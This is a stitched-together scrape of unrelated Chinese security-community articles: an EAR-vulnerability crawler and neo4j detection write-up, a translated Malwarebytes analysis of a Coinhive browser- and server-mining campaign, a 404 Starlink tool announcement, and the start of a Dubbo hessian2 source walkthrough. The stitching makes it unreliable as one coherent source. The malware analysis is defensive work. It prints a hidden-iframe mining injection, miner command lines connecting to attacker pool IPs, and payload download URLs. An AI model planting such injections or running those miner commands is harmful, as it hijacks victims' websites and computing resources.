说了这么多，大家可能觉得我们还需要图谱来辅助检测吗？限于笔者对此漏洞的理解能力，如果我们想要去检测此类EAR漏洞，其实有两种办法，第一种就是上面的基于burp抓包然后查看页面回显，第二种就是白盒审计，查看安装功能和鉴权功能是否加上了exit这样的函数，其实这两种检测办法对应了漏洞检测的两种形态：黑盒测试和白盒测试。
那么针对这种漏洞而言，白盒检测相对较为容易，黑盒检测难度其实稍微大些，那么利用我们所构建的图谱，其实就是基于黑盒测试来做的检测。
## 3.1 爬虫机制
这里爬虫没有什么新意，其实就是使用了scrapy框架来进行页面爬取，但是在爬取代码上其实做了很大的改动，先前的scrapy爬虫其实就是爬取页面所有的url，然后进行递归爬取，虽然是有先后之分，但是在结果里是没有层级之分的，也就是说我们虽然能够获得一个网站的所有链接，比如a、b、c，但是没有形成路径，也就是说我们希望获得的结果应该是a->b->c，或者是a->b,a->c。
那么这里其实我们就需要重写爬虫的底层代码，将他的爬取机制重新改变下。
这里按照先前的思路，我们需要单独抽取每个页面的url，这里我还抽取了表单参数，抽取表单的意义其实跟本文不太相关，主要还是为了构建前言所提到的攻击路径用的。那么这里针对主页，我们其实就已经获取到了主页里所有的url，那么这里在图谱构件上其实已经初现端倪：主页->主页里所有的url。
接着使用yield来递归遍历主页里所有的url，并进行递归抽取，当不再出现新的页面时爬虫终止。在每次递归时都将当前url和爬取url传递给pipeline做处理，这里的处理简单点来讲就是入库。
下面附上爬虫的部分代码，这部分主要是解析用，其实很简单，就是抽取每个页面的url和form参数，构造全局的url列表，然后递归抽取。
def parse(self, response):
url_list = response.xpath('//a/@href').extract()
form_list = response.xpath('//form').extract()
url_result , form_result = [] , []
for form in form_list:
form_selector = Selector(text=form)
action = form_selector.xpath('//form/@action').extract()[0]
if urlparse.urlparse(action).netloc == '' :#and urlparse.urlparse(action).path == '':
action = urlparse.urljoin(self.root_url,action)
param_type = form_selector.xpath('//form/@method').extract()[0]
param_list = form_selector.xpath('//input').extract()
result = {}
for param in param_list:
param_selector = Selector(text=param)
name = param_selector.xpath('//input/@name').extract()
value = param_selector.xpath('//input/@value').extract()
if name:
name = name[0]
if value:
#form表单中value可为空
value = value[0]
else:
value = ''
result[name] = value
form_three = [action , param_type , result]
#表单三元组
if self.form_include(self.form_set , form_three):
self.form_set.append(form_three)
form_result.append(form_three)
for url in url_list :
url_add = urlparse.urljoin(response.url,url)
if '#' in url_add:
url_add = url_add[:url_add.find('#')]
if urlparse.urlparse(url_add).netloc == self.status_root.netloc and url_add not in UrlSpider.url_set:
#signal.signal(signal.SIGALRM, self.myHandler)
#signal.alarm(10)
self.url_set.add(url_add)
url_result.append(url_add)
yield scrapy.http.Request(url_add,callback=self.parse,dont_filter=True)
item = NgItem()
item['url'] = response.url
item['form'] = form_result
item['name'] = url_result
yield item
## 3.2 图数据库
这里采用的图数据库为neo4j,目前由于知识图谱概念的兴起，图数据库慢慢的走进人们的视线，这次将EAR漏洞检测和图数据库结合起来，也算是一点小小的创新吧。。。
图数据库的两个构建基本要素：节点-关系-节点 、 节点-属性-值。那么针对这里的应用场景，我们的节点构建就可以以url来作为单位，由于图谱为有向图，所以这个关系在这里其实暂定为“next”关系，表示web内径的上下级关系。这里的节点属性值其实没什么必要应用，我们的重点在于各个url的层级关系。
实际上当前index.php的上一位置的节点就是后台的首页（这里后台的登录页面实际上就在首页页面当中，所以能够遍历到，另外首页的登录接口写的是?c=admin而不是?c=login，为漏洞埋下了直接的伏笔，后来想了下这个点其实非常重要，如果仅仅是登录界面，那么爬虫其实就爬取不到后台界面了，也就不会出现EAR漏洞）。这里可以看到我将当前index.php设置为root_url，另外这里图谱中关系还有param这样关系，这里其实也是为了构造精确的渗透路径用的，主要用于存储form表单中的参数，为了作漏洞验证而加进去的。
# 4 检测原理
这里检测原理为了作通用性考虑，目前所能想到的检测方法是查询index.php到后台页面的最短路径，如果其中经过了后台首页，那么就可以判定为出现了EAR漏洞。
下面为图查询语句，其实这里已经写好了自动化检测脚本，唯一缺陷可能就是需要配置查询路径的终点，也就是后台的某些链接需要提前配置好，不然如果图谱一旦扩大，通过肉眼去看肯定不太现实。
MATCH (p1:url
{name:'[http://127.0.0.1/101html/index.php'}),(p2:url{name:'http://127.0.0.1/101html/index.php?c=admin&a=save_content'}](http://127.0.0.1/101html/index.php'}\),\(p2:url{name:'http://127.0.0.1/101html/index.php?c=admin&a=save_content'})),
p=shortestpath((p1)-[*..10]-(p2)) RETURN nodes(p)
这是查询后的路径结果，由于url太长了可能看不见，这里单独列一下结果
其中的name序列就是从index.php到后台页面的路径图谱，可以看到经过了后台首页，再从后台首页的回显内容了进行了二次遍历。
附上github地址：
<https://github.com/yinhongji/WebCrawl>
# 后记
其实完整的功能还有带登录权限的功能，也就是说其实有两个爬虫的，一个爬虫从首页爬取，另一个爬虫从后台登录页面进行爬取，这样做的目的就是想看交叉结果，比如说带登录权限的爬虫跟不带登录权限的爬虫所爬取的页面如果出现重合，那么是否可以判定出现了EAR漏洞或者是纵向越权，但是在测试wordress站点时，发现从后台爬取也会爬到前台，这就会出现无法判定漏洞的情况出现。。。当然按照前文的方法，可能需要判定路径是否出现某一特定节点。
目前将图数据库和安全结合的应用还比较少，此文就当抛砖引玉，希望跟更多做图数据库和安全的人一起交流交流~
上述如有不当之处，敬请指出~ | 社区文章 |
# Malwarebytes 对使用混淆 Coinhive 短链接进行浏览器挖矿的调查分析
##### 译文声明
本文是翻译文章，文章原作者 Jérôme Segura，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/07/obfuscated-coinhive-shortlink-reveals-larger-mining-operation/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在过去的几个月里，通过浏览器挖矿继续影响着大量的网站，主要依赖Coinhive臭名昭著的API。我们在这个博客上记录了一些活动，特别是[Drupalgeddon](https://blog.malwarebytes.com/threat-analysis/2018/05/look-drupalgeddon-client-side-attacks/)，攻击者利用流行的内容管理系统(CMS)中的漏洞威胁网站，并在客户端和服务器端注入payload。
在过去的几周里，我们的爬虫已经使用各种CMS对数百个站点进行了编目，所有这些站点都被注入了相同的模糊代码，这些代码使用Coinhive的短链接来执行静默挖矿。通过围绕这一指标，我们能够确定一个更大的基础，它接收来自数千个被黑客攻击的网站的流量，作为门户将流量重定向到一个中央服务器，该服务器参与了网络和标准恶意挖矿软件的分销。
[](https://p2.ssl.qhimg.com/t01132886c955ef00d5.png "图1：受害站点挖矿过程")
## 混淆注入
作为我们常规爬行的一部分，我们寻找已知最新的站点的重定向，它们大多数都与Coinhive的域名相关。我们发现了数百个新域名，所有合法网站都被注入了十六进制代码。解码后，它显示为一个不可见的请求cnhv[.]co/3h2b2的iframe(1×1像素)。我们相信这是5月底[Sucuri披露](https://blog.sucuri.net/2018/05/cryptomining-through-disguised-url-shorteners.html)的同一运动的一部分。
<i frame src="https://cnhv[.]co/3h2b2" width="1" height="1" align="left"></i frame>
[](https://p3.ssl.qhimg.com/t019dbc3ae1a9f0fcbe.png
"图2：一个注入了混淆的iframe加载Coinhive API的WordPress站点")
cnhv[.]co域名用于Coinhiv所谓的[短链接](https://coinhive.com/#shortlinks)，本质上是利用超链接通过解决访问者的浏览器在到达目标站点之前的一些麻烦，从而赚钱的一种方式。单击这样的链接时，你将看到一个进度条，几秒钟内，你将被重定向。通过将这些短链接加载为不合理的高散列计数的隐藏的iframes来滥用此功能。
[](https://p3.ssl.qhimg.com/t01ea42b6a4788a95c1.gif "图3：短链接对我们的CPU造成了100%的负担")
在图3中，我们通过更改iframe的维度使其可见，以显示用户在页面上停留的时间，而不是在重定向之前等待几秒钟，而是在不知不觉中进行挖掘。实际上，虽然Coinhive的默认设置为1024个散列，但在加载目标URL之前，这个散列需要371.2万个散列。
## 后门启动重定向
在查询[urlscan.io](https://urlscan.io/)时，我们能够通过不同的重定向机制找到[早在5月7日](https://urlscan.io/result/0d87a898-de21-46b3-bb6c-ee5cd58b9997/#transactions)就已激活的同一Coinhive键。有一个特定的URI模式指示正在利用被攻击的站点执行5.45.79[.]15的重定向。这反过来通过另一个精心编制的URI创建一个重定向，其中一个参数是引用站点，最终导致启动Web挖矿程序的Coinhive短链接。
[](https://p3.ssl.qhimg.com/t016fe96d98344e80c1.png "图4：通过中间服务器从受害网站加载相同的短链接")
几个站点已经被注入隐藏的cnvh[.]co iframe方法，以及通过后门：
[](https://p0.ssl.qhimg.com/t01156d5f1decb5b3b4.png
"图5：一个被黑客攻击的站点，其中注入了Coinhive的短链接和多个受破坏的URL")
用于重定向的URI模式可以通过以下正则表达式来标识：
[](https://p5.ssl.qhimg.com/t0160b0118e04b0e143.png "图6：显示受攻击站点之间匹配的正则表达式")
## Blackhat SEO 和后门
再看看这些URI，我们可以注意到某些似乎与搜索引擎优化(SEO)相关的关键字的存在，例如：
cctvvietnam[.]com/1hqg/wzdea.php?lrscye=mongodb-count-fields
pixelbedlam.co[.]uk/9ul8/6nfme.php?lrscye=relativity-software-cost
valam[.]in/f8wb/z8d6w.php?lrscye=tutoring-in-egypt
stemat[.]pl/klwy/dzwfy.php?lrscye=vin-decoder-mercedes
whylab[.]nl/podd/1hwnz.php?lrscye=gpon-home-gateway-exploit
soho-dom[.]ru/el5p/ywuul.php?lrscye=bts-album-download-zip
我们证实，事实上，一些谷歌或必应搜索显示的结果，包括被攻击的作为“门户”网站的名单，，通常是一个交通分配系统或重定向(5.45.79[.]15)。在这种情况下，门户被用来欺骗人们下载恶意的挖矿程序，而不是他们正在寻找的文件。
[](https://p5.ssl.qhimg.com/t010fc8712e7b6f2e48.png "图7：这个文件不是百分之百干净的")
请注意5.45.79[.]15处的服务器是如何执行重定向到另一个被黑客攻击的站点(motoir[.]com)的，其中从URI传递的关键字被动态地用于创建看起来像是唯一的下载页面和文件。
[](https://p4.ssl.qhimg.com/t01e0e4165e63fd6c8f.png "图8：显示重定向序列的Web流量")
## 恶意挖矿
执行时，此可执行文件将解压以下三个二进制文件：
1. winsystem.exe XMRig矿工
2. clock.exe 封装到EXE中的BAT文件
3. netflash.exe: 一个用.NET编写的简单的下载程序。
批处理脚本通过设置注册表项来添加持久性，清除某些进程(可能已经在运行的挖掘程序)，并通过启动以下步骤开始挖矿：
winsystem.exe -B -a cryptonight -o 37.1.197[.]121:80 -p x -u %COMPUTERNAME% +500 --max-cpu-usage=30 --donate-level=1 -k
[](https://p3.ssl.qhimg.com/t01e4aea665a6095d8f.png "图9：显示挖掘代码的批处理脚本")
这些二进制文件基于来自一个挖矿软件的相同代码，托管在5.45.79[.]15/xxPhoto.exe上。使用VirusTotal
Intelligence，我们能够在这个基础上进行扩展，并识别另一个挖矿程序，这一次是一个ELF文件，基于这个[cnrig](https://github.com/cnrig/cnrig)库，托管在：5.45.79[.]15/monero/cnrig。
[](https://p3.ssl.qhimg.com/t01efca7e86d1e99247.png
"图10：显示同一服务器上托管的ELF和Win32挖矿程序的图形")
在[VirusTotal页面](https://www.virustotal.com/#/file/c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031/community)上留下的注释表明，这个挖掘程序是在受感染的服务器上发现的，并且是从一个名为zz1.php的PHP后门下载的。在搜索该文件名时，我们找到了一个可能上传到公共站点的备用文件。通过解码Base64编码的字符串，我们可以更有信心地断言这是攻击者从5.45.79[.]15/monero/cnrig下载Linux挖矿软件时使用的恶意PHP文件：
[](https://p5.ssl.qhimg.com/t013c811be7e205eb5c.png
"图11：PHP代码上传到负责ELF矿工下载的受害站点")
检索ELF二进制文件后，使用以下命令运行它，然后以便开始挖掘：
./cnrig -o 5.61.46[.]146:80 --donate-level=1 > /dev/null 2>&1
## 代理
由于挖矿程序在没有使用钱包地址的情况下连接到私人矿池(很可能是通过代理)，我们无法评估攻击者通过这一计划赚了多少钱。
实际上，位于5.45.79[.]15的服务器也有自己的[ProxyPanel](https://github.com/krasniykrd/proxypanel)：
[](https://p0.ssl.qhimg.com/t017f13b879d7e81af0.png "图12：一个基于xmrig-Proxy的代理")
XMRig版本的挖矿程序有一个公共统计页面，显示有近500台受害的机器参与了挖矿活动。对于CNRig版本，我们无法找到任何这样的统计数据，尽管被黑客攻击的服务器数量要高得多。
## 越来越多的网站
人们对加密货币的兴趣极大地改变了恶意软件领域，犯罪分子希望从中分一杯羹。因此，越来越多的网站，无论是客户端还是服务器端，都被用来分发和运营挖矿程序。
在这个活动中，我们看到了通过诱使用户下载他们在网上搜索的文件来将XMRig推送到用户的基础设施。与此同时，被黑客攻击的服务器被指示下载并运行一个Linux矿工，从而为攻击者带来利润，但也给其所有者带来了成本。最后，看到Coinhive的短链接被滥用来进行浏览器挖矿似乎是合情合理的。
[Malwarebytes](https://www.malwarebytes.com/)能阻止恶意挖矿，无论是由恶意软件触发的，还是通过受害网站加载的。
感谢@DynamicAnalysis分享的信息。
## IoC
用于混淆cnvh[.]co注入的字符串
vhisduhvuhiusdhfbjhewvhisdhbybguyebrrfsd
Coinhive短链接
cnhv[.]co/3h2b2
Coinhive站点密钥
Dkpy5v4CBgwZqzPRosdHKDB7DQsc1Sav
用于受害站点重定向的regex
/(w{4}|w{8})/(w{5}|w{9}).php?([a-z]{6}|[a-z]{3})=[w]{1,25}-[w]{1,25}
重定向服务器
5.45.79[.]15
Windows挖矿后门
5.45.79[.]15/xxxphoto.exe
38f55239519523638dc2b3958f5e9951a6b04f813336927a4f7de717518e5b44
Linux矿工
5.45.79[.]15/monero/cnrig
c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031
审核人：yiwang 编辑：边边 | 社区文章 |
The 404 Starlink Project was started by Knownsec 404Team in 2020. We aim to
denfend network and promote the Instrumentalizing of security research in
different fields through open source or open methods. Just like Starlink, this
project will link researchers with different security background.
Not only large tools which break security barriers，various small tools that
optimizing the daily experience are included. We will open all tools developed
by 404 Team, and continue to collect pain points in the process of security
research and penetration testing. The security field used to have various
problems, like tools jumbled, different levels obvious, and open source be
unmaintained. Through the 404 Starlink Project, we wish security field would
become a better place where people like to communicate and progress together.
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式， **长期维护**
并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)主要目的是改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
2020年11月，知道创宇404实验室正式推出星链计划2.0。通过星链计划核心社群成员作为核心，筛选 **优质、有意义、有趣、坚持维护**
的开源项目加入星链计划2.0，由404实验室核心成员及星链计划核心成员作为背书，将优质的开源项目汇聚成星河，为立足于不同安全领域的安全研究人员指明方向。代号
**Galaxy** 。
同时，真正优质的开源项目将会优先推荐KCON 2021兵器谱，在KCON
2021上获得专属的曝光机会。404实验室也会为优秀的个人开源维护者提供知道创宇的优先内推绿色通道，星链计划的核心成员群也会不定期送出礼品。
星链计划2.0会将开源项目按照两个核心项作为主要指标：
* 成熟、有意义的开源项目 Open-Projects
* 有新意、解决痛点的开源项目 Fun-tools
入选星链计划2.0的项目至少需要满足以下四个要求：
* 安全相关的各个环节以及链路
* 开源
* 坚持维护
* 通过由404实验室以及星链计划核心成员组成的审阅组审阅
入选项目将由代码质量、技术难度、新颖度等多个维度评价打分(满分5星)，是否坚持维护将作为最重要的评价标准。入选Open-Projects的项目不得超过1年未更新，且超过6个月未更新的项目只能获得上限为4星的评价。入选Fun-Tools分类的开源项目由星链计划2.0核心社群成员判定当前的维护状态，被判定为未维护的项目将会被从星链计划中去除。
参与星链计划2.0的开源项目可以借由星链计划社群与开发者直接沟通，真正将研究人员和开发人员连在一起。
希望星链计划2.0能像北斗七星一样，引领安全研究人员前进的方向。
# Rules
* Positivity: 积极度，工具正处于积极维护期的项目将被标记为In，工具正出于弱维护期的项目将被标记为TBD，工具已经不再维护的的项目将被标记为OUT.
* Score: Open-Projects的评分上限为5星，Fun-tools的评分上限为4星.
# Update
## 星链计划
* [Zoomeye-python](https://github.com/knownsec/ZoomEye-python)更新了v2.0.4.2版本
更新添加了 history 和 clear 命令，history命令可以帮助Zoomeye会员查询ip历史解析记录，clear
命令清除用户设置和缓存文件。search 命令添加了 -force 参数，强制从 ZoomEye 获取最新数据。
## 星链计划2.0
* [Viper](https://github.com/FunnyWolf/Viper)
* VIPER是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化。
* [linglong](https://github.com/awake1t/linglong)
* linglong是一款甲方资产巡航扫描系统。系统定位是发现资产，进行端口爆破。帮助企业更快发现弱口令问题。主要功能包括: 资产探测、端口爆破、定时任务、管理后台识别、报表展示。
* [CodeReviewTools](https://github.com/Ppsoft1991/CodeReviewTools)
* CodeReviewTools是一个可以快速批量反编译jar包的工具。
# Details
## [Viper](https://github.com/FunnyWolf/Viper)
##### 项目链接：
<https://github.com/FunnyWolf/Viper>
##### 项目简述：
VIPER是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化。
##### 推荐评语：
一个好用的工具+靠谱的作者是一个开源项目成熟最关键的特点，在特殊的时期，你一定需要这样一个工具。
## [linglong](https://github.com/awake1t/linglong)
##### 项目链接：
<https://github.com/awake1t/linglong>
##### 项目简述：
linglong是一款甲方资产巡航扫描系统。系统定位是发现资产，进行端口爆破。帮助企业更快发现弱口令问题。主要功能包括:
资产探测、端口爆破、定时任务、管理后台识别、报表展示.
##### 推荐评语：
一个定位为甲方的扫描系统最重要的一点就是保持维护力度以及系统本身的稳定。如果你需要这样一个系统，参考linglong会是不错的选择。
## [CodeReviewTools](https://github.com/Ppsoft1991/CodeReviewTools)
##### 项目链接：
<https://github.com/Ppsoft1991/CodeReviewTools>
##### 项目简述：
CodeReviewTools是一个可以快速批量反编译jar包的工具，为审计Java代码做好第一步。
##### 推荐评语：
如果你从事过Java的代码审计，你总会遇到代码和jar包混用、大量的jar包需要反编译、知道class名却不知道具体位置等等各种场景，为什么不选择一个好用的工具来帮你呢？
# Community
如果有问题可以在各项目下提交issue，如果有不错的工具推荐，可以向github提交issue, 也可以添加下方的讨论组中参与讨论。
1、Github issue: <https://github.com/knownsec/404StarLink2.0-Galaxy/issues>
2、微信群添加方式： 扫描下方二维码添加工作人员个人微信，并备注星链计划，会把大家拉到星链计划交流群中
* * * | 社区文章 |
# dubbo源码浅析：默认反序列化利用之hessian2
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
官方github描述：
Apache Dubbo is a high-performance, java based, open source RPC framework.
Apache Dubbo是一款高性能、轻量级的开源Java
RPC框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。
现在大部分企业开发，无论是微服务架构，还是传统的垂直切分架构，大部分都用到了RPC（远程过程调用），实现分布式的协作，其中有比较简单的RESTful方式的RPC实现，也有自定义协议自成一系的RPC实现，而大部分RPC实现框架都使用了一种或多种序列化方式对传输数据进行序列化以及反序列化。
Apache
Dubbo是本篇文章主要讲述的RPC实现框架，我会使用我一贯的源码浅析风格，对其进行原理细节的分析探讨，先从dubbo的简单使用，慢慢引申出其源码架构细节，最后在了解大概原理后，重点分析其默认hessian2序列化实现细节。
我希望您看完这篇文章之后，能对dubbo的大概架构和源码具有比较清晰的理解，以及对序列化、反序列化部分有充分的理解，希望为您学习dubbo源码走少一点弯路，并且能挖掘出dubbo的潜在安全问题，从而完善它，使它更加的健壮更加的安全。
## 二、源码浅析
### 2.1 简单使用
dubbo的使用非常简单，一般普遍使用的是传统的spring方式，不过这种方式使用上没有在spring-boot上使用更便捷。
**2.1.1 启动注册中心（zookeeper）**
启动一个本地的zookeeper，端口为2181
**2.1.2 服务端**
service（接口定义和实现相关）：
public class A implements Serializable {
String name = "xxxx";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
public interface DemoService {
String hello(A a);
}
public class DemoServiceImpl implements DemoService {
public String hello(A a) {
return "hello! " + a.getName();
}
}
spring xml配置（dubbo-provider.xml）：
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">
<!-- 提供方应用信息，用于计算依赖关系 -->
<dubbo:application name="dubbo-service" />
<!-- 使用multicast广播注册中心暴露服务地址 -->
<!-- <dubbo:registry address="multicast://4.5.6.7:1234" /> -->
<!-- 使用zookeeper注册中心暴露服务地址 -->
<dubbo:registry address="zookeeper://127.0.0.1:2181" />
<!-- 用dubbo协议在20880端口暴露服务 -->
<dubbo:protocol name="dubbo" port="20880" />
<!-- 声明需要暴露的服务接口 -->
<dubbo:service interface="com.threedr3am.learn.dubbo.DemoService"
ref="demoService" />
<!-- 和本地bean一样实现服务 -->
<bean id="demoService" class="com.threedr3am.learn.dubbo.DemoServiceImpl" />
</beans>
启动jvm创建spring容器（main）:
public class Main {
public static void main(String[] args) {
ApplicationContext applicationContext = new ClassPathXmlApplicationContext("dubbo-provider.xml");
}
}
**2.1.3 客户端**
spring xml配置（dubbo-consumer.xml）：
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">
<!-- 提供方应用信息，用于计算依赖关系 -->
<dubbo:application name="dubbo-service-consumer" />
<!-- 使用multicast广播注册中心暴露服务地址 -->
<!-- <dubbo:registry address="multicast://4.5.6.7:1234" /> -->
<!-- 使用zookeeper注册中心暴露服务地址 -->
<dubbo:registry address="zookeeper://127.0.0.1:2181" />
<!-- 声明需要暴露的服务接口 -->
<dubbo:reference id="demoService" interface="com.threedr3am.learn.dubbo.DemoService"/>
</beans>
启动jvm，执行RPC（main）：
public class Main {
public static void main(String[] args) {
ApplicationContext applicationContext = new ClassPathXmlApplicationContext("dubbo-consumer.xml");
DemoService demoService = (DemoService) applicationContext.getBean("demoService");
System.out.println(demoService.hello(new A()));
}
}
**2.1.4 RPC**
在上述注册中心、服务端、客户端依次执行后，可以看到，客户端输出了“hello! threedr3am”
### 2.2 源码跟踪
我们以上述spring的使用例子展开，一步一步的跟踪源码的执行流程。
从github clone到dubbo的源码后，可以发现，源码（2.6.x版本）分成了很多module
├── dubbo-all
├── dubbo-bom
├── dubbo-bootstrap
├── dubbo-cluster
├── dubbo-common
├── dubbo-compatible
├── dubbo-config
├── dubbo-configcenter
├── dubbo-container
├── dubbo-demo
├── dubbo-dependencies
├── dubbo-dependencies-bom
├── dubbo-distribution
├── dubbo-filter
├── dubbo-metadata
├── dubbo-monitor
├── dubbo-parent.iml
├── dubbo-plugin
├── dubbo-registry
├── dubbo-remoting
├── dubbo-rpc
├── dubbo-serialization
├── dubbo-test
接着，我们启动服务端main程序，这里我们略过spring容器的创建细节，因为spring容器的源码。。。这可以写一本书了，我们只从服务端读取解析dubbo-provider.xml配置创建容器后refresh的ServiceBean（dubbo-config中）开始，这里才是真正的dubbo的相关代码起始处。
这边贴一下，服务端程序启动时expose service的执行栈信息：
com.alibaba.dubbo.remoting.transport.netty4.NettyTransporter.bind(NettyTransporter.java:32)
com.alibaba.dubbo.remoting.Transporter$Adaptive.bind(Transporter$Adaptive.java)
com.alibaba.dubbo.remoting.Transporters.bind(Transporters.java:56)
com.alibaba.dubbo.remoting.exchange.support.header.HeaderExchanger.bind(HeaderExchanger.java:44)
com.alibaba.dubbo.remoting.exchange.Exchangers.bind(Exchangers.java:70)
com.alibaba.dubbo.rpc.protocol.dubbo.DubboProtocol.createServer(DubboProtocol.java:285)
com.alibaba.dubbo.rpc.protocol.dubbo.DubboProtocol.openServer(DubboProtocol.java:264)
com.alibaba.dubbo.rpc.protocol.dubbo.DubboProtocol.export(DubboProtocol.java:251)
com.alibaba.dubbo.rpc.protocol.ProtocolListenerWrapper.export(ProtocolListenerWrapper.java:57)
com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper.export(ProtocolFilterWrapper.java:100)
com.alibaba.dubbo.qos.protocol.QosProtocolWrapper.export(QosProtocolWrapper.java:62)
com.alibaba.dubbo.rpc.Protocol$Adaptive.export(Protocol$Adaptive.java)
com.alibaba.dubbo.registry.integration.RegistryProtocol.doLocalExport(RegistryProtocol.java:172)
com.alibaba.dubbo.registry.integration.RegistryProtocol.export(RegistryProtocol.java:135)
com.alibaba.dubbo.rpc.protocol.ProtocolListenerWrapper.export(ProtocolListenerWrapper.java:55)
com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper.export(ProtocolFilterWrapper.java:98)
com.alibaba.dubbo.qos.protocol.QosProtocolWrapper.export(QosProtocolWrapper.java:60)
com.alibaba.dubbo.rpc.Protocol$Adaptive.export(Protocol$Adaptive.java)
com.alibaba.dubbo.config.ServiceConfig.doExportUrlsFor1Protocol(ServiceConfig.java:515)
com.alibaba.dubbo.config.ServiceConfig.doExportUrls(ServiceConfig.java:360)
com.alibaba.dubbo.config.ServiceConfig.doExport(ServiceConfig.java:319)
com.alibaba.dubbo.config.ServiceConfig.export(ServiceConfig.java:217)
com.alibaba.dubbo.config.spring.ServiceBean.export(ServiceBean.java:266)
com.alibaba.dubbo.config.spring.ServiceBean.onApplicationEvent(ServiceBean.java:106)
com.alibaba.dubbo.config.spring.ServiceBean.onApplicationEvent(ServiceBean.java:53)
org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:166)
org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:138)
org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:383)
org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:337)
org.springframework.context.support.AbstractApplicationContext.finishRefresh(AbstractApplicationContext.java:882)
org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:545)
org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:139)
org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:83)
com.threedr3am.learn.dubbo.Main.main(Main.java:12)
下一步，我们跟进dubbo-config的子module，也即dubbo-config-spring这个module，从它的com.alibaba.dubbo.config.spring.ServiceBean类开始。
从我们前面贴出来的执行栈信息，跟进com.alibaba.dubbo.config.spring.ServiceBean类的onApplicationEvent方法：
@Override
public void onApplicationEvent(ContextRefreshedEvent event) {
if (isDelay() && !isExported() && !isUnexported()) {
if (logger.isInfoEnabled()) {
logger.info("The service ready on spring started. service: " + getInterface());
}
export();
}
}
* isDelay()：判断服务端，也就是服务提供者provider是否在dubbo:service这个标签配置中配置了delay，若配置了delay值（毫秒为单位），则暴露expose服务会延迟到delay值对应的时间后。若配置了值，isDelay()会返回false，则不执行export()。
* export()：暴露服务到注册中心
接着，跟进export方法：
@Override
public void export() {
//重点方法
super.export();
// Publish ServiceBeanExportedEvent
publishExportEvent();
}
父类的expose方法：
public synchronized void export() {
//如果ProviderConfig配置存在，并且export、delay等配置为空，则读取ProviderConfig配置
if (provider != null) {
if (export == null) {
export = provider.getExport();
}
if (delay == null) {
delay = provider.getDelay();
}
}
if (export != null && !export) {
return;
}
//若配置了delay延迟暴露，则通过定时调度进行延迟暴露，否则立即暴露服务
if (delay != null && delay > 0) {
delayExportExecutor.schedule(new Runnable() {
@Override
public void run() {
doExport();
}
}, delay, TimeUnit.MILLISECONDS);
} else {
doExport();
}
}
expose方法做了synchronized同步处理，应该是为了避免并发执行。
doExport方法：
protected synchronized void doExport() {
if (unexported) {
throw new IllegalStateException("Already unexported!");
}
if (exported) {
return;
}
exported = true;
if (interfaceName == null || interfaceName.length() == 0) {
throw new IllegalStateException("<dubbo:service interface="" /> interface not allow null!");
}
checkDefault();
//...忽略无关重要的细节
checkApplication();
checkRegistry();
checkProtocol();
appendProperties(this);
checkStub(interfaceClass);
checkMock(interfaceClass);
if (path == null || path.length() == 0) {
path = interfaceName;
}
doExportUrls();
ProviderModel providerModel = new ProviderModel(getUniqueServiceName(), this, ref);
ApplicationModel.initProviderModel(getUniqueServiceName(), providerModel);
}
这个方法中，大部分逻辑都是对配置信息的检查：
* checkDefault()：检查ProviderConfig是否存在，若不存在，则创建一个新的ProviderConfig，接着，从系统变量中读取相关约定的配置值设置进去。
* checkApplication()：主要检查ApplicationConfig是否存在，若不存在，则和checkDefault()中的处理大体相同。application用于配置dubbo服务的应用信息。
* checkRegistry()：检查RegistryConfig，同上处理，不过RegistryConfig是集合形式，具有多个配置，每一个RegistryConfig都代表一个注册中心配置。
* checkProtocol()：检查ProtocolConfig，同上处理。ProtocolConfig是用于配置dubbo服务RPC所用的协议，一般都是默认使用dubbo协议进行通讯。
* appendProperties(this)：对ServiceConfig进行配置追加处理，从系统变量读取约定key的配置值。
* checkStub(interfaceClass)和checkMock(interfaceClass)：检查service的interface是否满足stub和mock。
* doExportUrls()：暴露服务核心逻辑方法。
doExportUrls()：
private void doExportUrls() {
//读取注册中心配置
List<URL> registryURLs = loadRegistries(true);
//遍历协议配置，根据协议进行暴露服务
for (ProtocolConfig protocolConfig : protocols) {
doExportUrlsFor1Protocol(protocolConfig, registryURLs);
}
}
